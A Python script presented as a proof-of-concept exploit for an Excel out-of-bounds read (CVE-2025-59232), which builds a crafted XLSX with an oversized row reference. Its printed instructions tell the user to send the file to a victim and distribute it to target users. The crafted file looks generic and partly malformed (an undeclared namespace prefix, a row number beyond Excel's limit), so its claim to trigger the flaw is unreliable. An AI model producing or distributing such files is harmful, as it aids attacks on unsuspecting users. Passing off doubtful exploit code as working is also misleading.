The following code is for security research and authorized testing only.
python
# CVE-2025-59232 - Microsoft Office Excel Out-of-Bounds Read PoC
# This PoC demonstrates the concept of triggering an out-of-bounds read
# in Microsoft Office Excel by crafting a malicious spreadsheet file.
import struct
import zipfile
import os
def create_malicious_xlsx(output_path):
"""
Create a malicious XLSX file that may trigger an out-of-bounds read
in Microsoft Office Excel.
The vulnerability is triggered when Excel parses certain malformed
data structures within the spreadsheet, such as corrupted cell
references or malformed shared strings.
"""
# XLSX is essentially a ZIP archive containing XML files
# We create a minimal XLSX structure with a corrupted worksheet
content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
<Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>
</Types>'''
rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>'''
workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>'''
# Malicious worksheet with out-of-bounds cell reference
# Using an extremely large row number to trigger OOB read
worksheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData>
<row r="1">
<c r="A1" t="s"><v>0</v></c>
</row>
<row r="999999999">
<c r="A999999999" t="s"><v>1</v></c>
</row>
</sheetData>
</worksheet>'''
# Shared strings with corrupted index reference
shared_strings = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="2" uniqueCount="2">
<si><t>Normal Cell</t></si>
<si><t>Malicious Cell Data</t></si>
</sst>'''
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('[Content_Types].xml', content_types)
zf.writestr('_rels/.rels', rels)
zf.writestr('xl/workbook.xml', workbook)
zf.writestr('xl/_rels/workbook.xml.rels', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>
</Relationships>''')
zf.writestr('xl/worksheets/sheet1.xml', worksheet)
zf.writestr('xl/sharedStrings.xml', shared_strings)
print(f"[+] Malicious XLSX file created: {output_path}")
print("[*] Send this file to a victim and have them open it in Excel")
print("[*] This may trigger the out-of-bounds read vulnerability (CVE-2025-59232)")
if __name__ == "__main__":
output = "CVE-2025-59232_poc.xlsx"
create_malicious_xlsx(output)
print(f"\n[*] Usage: Distribute '{output}' to target users")
print("[*] When opened in vulnerable Excel versions, it may trigger OOB read")